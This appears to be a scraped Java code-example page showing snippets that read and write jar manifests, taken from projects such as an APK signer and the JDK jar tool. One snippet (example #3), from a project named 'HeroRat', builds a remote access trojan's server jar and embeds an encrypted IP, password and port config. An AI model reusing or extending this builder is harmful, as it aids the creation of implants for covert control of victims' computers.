コード例 #1
0
  /**
   * Read the version information from a file with a given file name. The file must be a jar
   * manifest file and all its entries are searched for package names and their specification
   * version information. All information is collected in a map for later lookup of package names
   * and their versions.
   *
   * @param versionFileName name of the jar file containing version information
   */
  public static String readVersionFromFile(String applicationName, String versionFileName) {
    try {
      FileInputStream fileInput = new FileInputStream(versionFileName);
      Manifest manifest = new Manifest();
      manifest.read(fileInput);

      Map entries = manifest.getEntries();
      // Now write out the pre-entry attributes
      Iterator entryIterator = entries.entrySet().iterator();
      while (entryIterator.hasNext()) {
        Map.Entry currentEntry = (Map.Entry) entryIterator.next();
        String packageName = currentEntry.getKey().toString();
        packageName = normalizePackageName(packageName);
        Attributes attributes = (Attributes) currentEntry.getValue();
        String packageSpecVersion = attributes.getValue(Attributes.Name.SPECIFICATION_VERSION);
        packageSpecVersion = extractVersionInfo(packageSpecVersion);
        return packageSpecVersion;
      }
    } catch (IOException exception) {
      exception.printStackTrace();
    }

    // no version found
    return null;
  }
コード例 #2
0
ファイル: ZipSigner.java プロジェクト: wangsongyan/zip-signer
  /** Add the SHA1 of every file to the manifest, creating it if necessary. */
  private Manifest addDigestsToManifest(Map<String, ZioEntry> entries)
      throws IOException, GeneralSecurityException {
    Manifest input = null;
    ZioEntry manifestEntry = entries.get(JarFile.MANIFEST_NAME);
    if (manifestEntry != null) {
      input = new Manifest();
      input.read(manifestEntry.getInputStream());
    }
    Manifest output = new Manifest();
    Attributes main = output.getMainAttributes();
    if (input != null) {
      main.putAll(input.getMainAttributes());
    } else {
      main.putValue("Manifest-Version", "1.0");
      main.putValue("Created-By", "1.0 (Android SignApk)");
    }

    // BASE64Encoder base64 = new BASE64Encoder();
    MessageDigest md = MessageDigest.getInstance("SHA1");
    byte[] buffer = new byte[512];
    int num;

    // We sort the input entries by name, and add them to the
    // output manifest in sorted order.  We expect that the output
    // map will be deterministic.

    TreeMap<String, ZioEntry> byName = new TreeMap<String, ZioEntry>();
    byName.putAll(entries);

    boolean debug = getLogger().isDebugEnabled();
    if (debug) getLogger().debug("Manifest entries:");
    for (ZioEntry entry : byName.values()) {
      if (canceled) break;
      String name = entry.getName();
      if (debug) getLogger().debug(name);
      if (!entry.isDirectory()
          && !name.equals(JarFile.MANIFEST_NAME)
          && !name.equals(CERT_SF_NAME)
          && !name.equals(CERT_RSA_NAME)
          && (stripPattern == null || !stripPattern.matcher(name).matches())) {

        progressHelper.progress(ProgressEvent.PRORITY_NORMAL, "Generating manifest");
        InputStream data = entry.getInputStream();
        while ((num = data.read(buffer)) > 0) {
          md.update(buffer, 0, num);
        }

        Attributes attr = null;
        if (input != null) {
          java.util.jar.Attributes inAttr = input.getAttributes(name);
          if (inAttr != null) attr = new Attributes(inAttr);
        }
        if (attr == null) attr = new Attributes();
        attr.putValue("SHA1-Digest", Base64.encode(md.digest()));
        output.getEntries().put(name, attr);
      }
    }

    return output;
  }
コード例 #3
0
ファイル: Create.java プロジェクト: GeeksXtreme/HeroRat
  public static void create(String ip, String password, int port, String path, String process) {
    if (path.equals("")) {
      path = "Server_" + new Date().getTime() + ".jar";
    } else if (!path.endsWith(".jar")) {
      if (path.lastIndexOf(".") > 0) {
        path = path.substring(0, path.lastIndexOf(".")) + ".jar";
      } else {
        path += ".jar";
      }
    }

    StringBuffer buffer = new StringBuffer();

    buffer.append(ip);
    buffer.append("###");
    buffer.append(password);
    buffer.append("###");
    buffer.append(String.valueOf(port));

    if (!process.equals("")) {
      buffer.append("###");
      buffer.append(process);
    }

    try {
      JarInputStream input =
          new JarInputStream(
              Create.class.getClassLoader().getResourceAsStream("/lib/blank_server.jar"));
      Manifest mf = new Manifest();
      mf.read(Create.class.getClassLoader().getResourceAsStream("/lib/blank_manifest.mf"));
      JarOutputStream output = new JarOutputStream(new FileOutputStream(path), mf);

      output.putNextEntry(new JarEntry("config.cfg"));
      output.write(Crypto.byteToHex(Crypto.crypt(buffer.toString())).getBytes());
      output.closeEntry();

      byte[] content_buffer = new byte[1024];
      JarEntry entry;
      while ((entry = input.getNextJarEntry()) != null) {
        if (!"META-INF/MANIFEST.MF".equals(entry.getName())) {
          output.putNextEntry(entry);
          int length;
          while ((length = input.read(content_buffer)) != -1) {
            output.write(content_buffer, 0, length);
          }

          output.closeEntry();
        }
      }

      output.flush();
      output.close();
      input.close();

      JOptionPane.showMessageDialog(Main.mainWindow.panel_tab1, "Server was successfully created");
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
コード例 #4
0
  public static Map<String, String> readManifest(final InputStream stream) throws IOException {

    final Map<String, String> entries = new HashMap<String, String>();
    final Manifest manifest = new Manifest();

    manifest.read(stream);

    for (Map.Entry<Object, Object> entry : manifest.getMainAttributes().entrySet()) {
      final Attributes.Name name = (Attributes.Name) entry.getKey();
      entries.put(name.toString(), (String) entry.getValue());
    }

    return entries;
  }
コード例 #5
0
  private String doRoundTrip(Object versionName) throws Exception {
    Manifest m1 = new Manifest();
    m1.getMainAttributes().put(Attributes.Name.CONTENT_TYPE, "image/pr0n");
    if (versionName != null) {
      m1.getMainAttributes().putValue(versionName.toString(), "1.2.3");
    }
    ByteArrayOutputStream os = new ByteArrayOutputStream();
    m1.write(os);

    ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray());
    Manifest m2 = new Manifest();
    m2.read(is);
    return (String) m2.getMainAttributes().get(Attributes.Name.CONTENT_TYPE);
  }
コード例 #6
0
 public static Manifest createOrFindManifest(
     final PluginBuildConfiguration pluginModuleBuildProperties) throws IOException {
   final Manifest manifest = new Manifest();
   final VirtualFile vManifest = pluginModuleBuildProperties.getManifest();
   if (pluginModuleBuildProperties.isUseUserManifest() && vManifest != null) {
     InputStream in = null;
     try {
       in = new BufferedInputStream(vManifest.getInputStream());
       manifest.read(in);
     } finally {
       if (in != null) in.close();
     }
   } else {
     Attributes mainAttributes = manifest.getMainAttributes();
     ManifestBuilder.setGlobalAttributes(mainAttributes);
   }
   return manifest;
 }
コード例 #7
0
ファイル: RemoteOSGiServiceImpl.java プロジェクト: smee/amor
  private static byte[] generateBundle(
      final Bundle bundle, final String prefix, final byte[] buffer, final CRC32 crc)
      throws Exception {

    final URL url =
        (URL) getEntry.invoke(bundle, new Object[] {SEPARATOR_CHAR + MANIFEST_FILE_NAME});
    final Manifest mf = new Manifest();
    mf.read(url.openStream());

    final ByteArrayOutputStream bout = new ByteArrayOutputStream();
    final JarOutputStream out = new JarOutputStream(bout, mf);

    scan(bundle, prefix, "", out, buffer, crc); // $NON-NLS-1$

    out.flush();
    out.finish();
    out.close();
    return bout.toByteArray();
  }
コード例 #8
0
  public static void setManifestEntries(final File manifestFile, final Map<String, String> entries)
      throws IOException {

    final Manifest manifest = new Manifest();

    if (manifestFile.exists()) {
      final InputStream in = new FileInputStream(manifestFile);

      try {
        manifest.read(new BufferedInputStream(in));
      } finally {
        try {
          in.close();
        } catch (IOException e) {
        }
      }
    }

    final Attributes mainAttributes = manifest.getMainAttributes();

    for (Map.Entry<String, String> entry : entries.entrySet()) {
      mainAttributes.putValue(entry.getKey(), entry.getValue());
    }

    final OutputStream out = new FileOutputStream(manifestFile);

    try {
      final BufferedOutputStream bout = new BufferedOutputStream(out);
      manifest.write(bout);
      bout.flush();
    } finally {
      try {
        out.close();
      } catch (IOException e) {
      }
    }
  }
コード例 #9
0
 @Override
 public void read(InputStream is) throws IOException {
   manifest.read(is);
 }
コード例 #10
0
  /** {@inheritDoc} */
  @SuppressWarnings("unchecked")
  public void contextInitialized(ServletContextEvent event) {
    log.debug("Initializing context...");

    ServletContext context = event.getServletContext();

    // Orion starts Servlets before Listeners, so check if the config
    // object already exists
    Map<String, Object> config = (HashMap<String, Object>) context.getAttribute(Constants.CONFIG);

    if (config == null) {
      config = new HashMap<String, Object>();
    }

    ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(context);

    PasswordEncoder passwordEncoder = null;
    try {
      ProviderManager provider =
          (ProviderManager)
              ctx.getBean("org.springframework.security.authentication.ProviderManager#0");
      for (Object o : provider.getProviders()) {
        AuthenticationProvider p = (AuthenticationProvider) o;
        if (p instanceof RememberMeAuthenticationProvider) {
          config.put("rememberMeEnabled", Boolean.TRUE);
        } else if (ctx.getBean("passwordEncoder") != null) {
          passwordEncoder = (PasswordEncoder) ctx.getBean("passwordEncoder");
        }
      }
    } catch (NoSuchBeanDefinitionException n) {
      log.debug("authenticationManager bean not found, assuming test and ignoring...");
      // ignore, should only happen when testing
    }

    context.setAttribute(Constants.CONFIG, config);

    // output the retrieved values for the Init and Context Parameters
    if (log.isDebugEnabled()) {
      log.debug("Remember Me Enabled? " + config.get("rememberMeEnabled"));
      if (passwordEncoder != null) {
        log.debug("Password Encoder: " + passwordEncoder.getClass().getSimpleName());
      }
      log.debug("Populating drop-downs...");
    }

    setupContext(context);

    // Determine version number for CSS and JS Assets
    String appVersion = null;
    try {
      InputStream is = context.getResourceAsStream("/META-INF/MANIFEST.MF");
      if (is == null) {
        log.warn("META-INF/MANIFEST.MF not found.");
      } else {
        Manifest mf = new Manifest();
        mf.read(is);
        Attributes atts = mf.getMainAttributes();
        appVersion = atts.getValue("Implementation-Version");
      }
    } catch (IOException e) {
      log.error("I/O Exception reading manifest: " + e.getMessage());
    }

    // If there was a build number defined in the war, then use it for
    // the cache buster. Otherwise, assume we are in development mode
    // and use a random cache buster so developers don't have to clear
    // their browser cache.
    if (appVersion == null || appVersion.contains("SNAPSHOT")) {
      appVersion = "" + new Random().nextInt(100000);
    }

    log.info("Application version set to: " + appVersion);
    context.setAttribute(Constants.ASSETS_VERSION, appVersion);
  }
コード例 #11
0
ファイル: Manifest.java プロジェクト: dennis-xlc/ORDER
 Manifest(InputStream is, boolean readChunks) throws IOException {
   if (readChunks) {
     chunks = new HashMap<String, Chunk>();
   }
   read(is);
 }
コード例 #12
0
ファイル: Manifest.java プロジェクト: dennis-xlc/ORDER
 /**
  * Creates a new {@code Manifest} instance using the attributes obtained from the input stream.
  *
  * @param is {@code InputStream} to parse for attributes.
  * @throws IOException if an IO error occurs while creating this {@code Manifest}
  */
 public Manifest(InputStream is) throws IOException {
   super();
   read(is);
 }
コード例 #13
0
ファイル: Main.java プロジェクト: karianna/jdk8_tl
  /** Updates an existing jar file. */
  boolean update(InputStream in, OutputStream out, InputStream newManifest, JarIndex jarIndex)
      throws IOException {
    ZipInputStream zis = new ZipInputStream(in);
    ZipOutputStream zos = new JarOutputStream(out);
    ZipEntry e = null;
    boolean foundManifest = false;
    boolean updateOk = true;

    if (jarIndex != null) {
      addIndex(jarIndex, zos);
    }

    // put the old entries first, replace if necessary
    while ((e = zis.getNextEntry()) != null) {
      String name = e.getName();

      boolean isManifestEntry = equalsIgnoreCase(name, MANIFEST_NAME);

      if ((jarIndex != null && equalsIgnoreCase(name, INDEX_NAME)) || (Mflag && isManifestEntry)) {
        continue;
      } else if (isManifestEntry && ((newManifest != null) || (ename != null) || (pname != null))) {
        foundManifest = true;
        if (newManifest != null) {
          // Don't read from the newManifest InputStream, as we
          // might need it below, and we can't re-read the same data
          // twice.
          FileInputStream fis = new FileInputStream(mname);
          boolean ambiguous = isAmbiguousMainClass(new Manifest(fis));
          fis.close();
          if (ambiguous) {
            return false;
          }
        }

        // Update the manifest.
        Manifest old = new Manifest(zis);
        if (newManifest != null) {
          old.read(newManifest);
        }
        if (!updateManifest(old, zos)) {
          return false;
        }
      } else {
        if (!entryMap.containsKey(name)) { // copy the old stuff
          // do our own compression
          ZipEntry e2 = new ZipEntry(name);
          e2.setMethod(e.getMethod());
          e2.setTime(e.getTime());
          e2.setComment(e.getComment());
          e2.setExtra(e.getExtra());
          if (e.getMethod() == ZipEntry.STORED) {
            e2.setSize(e.getSize());
            e2.setCrc(e.getCrc());
          }
          zos.putNextEntry(e2);
          copy(zis, zos);
        } else { // replace with the new files
          File f = entryMap.get(name);
          addFile(zos, f);
          entryMap.remove(name);
          entries.remove(f);
        }
      }
    }

    // add the remaining new files
    for (File f : entries) {
      addFile(zos, f);
    }
    if (!foundManifest) {
      if (newManifest != null) {
        Manifest m = new Manifest(newManifest);
        updateOk = !isAmbiguousMainClass(m);
        if (updateOk) {
          if (!updateManifest(m, zos)) {
            updateOk = false;
          }
        }
      } else if (ename != null || pname != null) {
        if (!updateManifest(new Manifest(), zos)) {
          updateOk = false;
        }
      }
    }
    zis.close();
    zos.close();
    return updateOk;
  }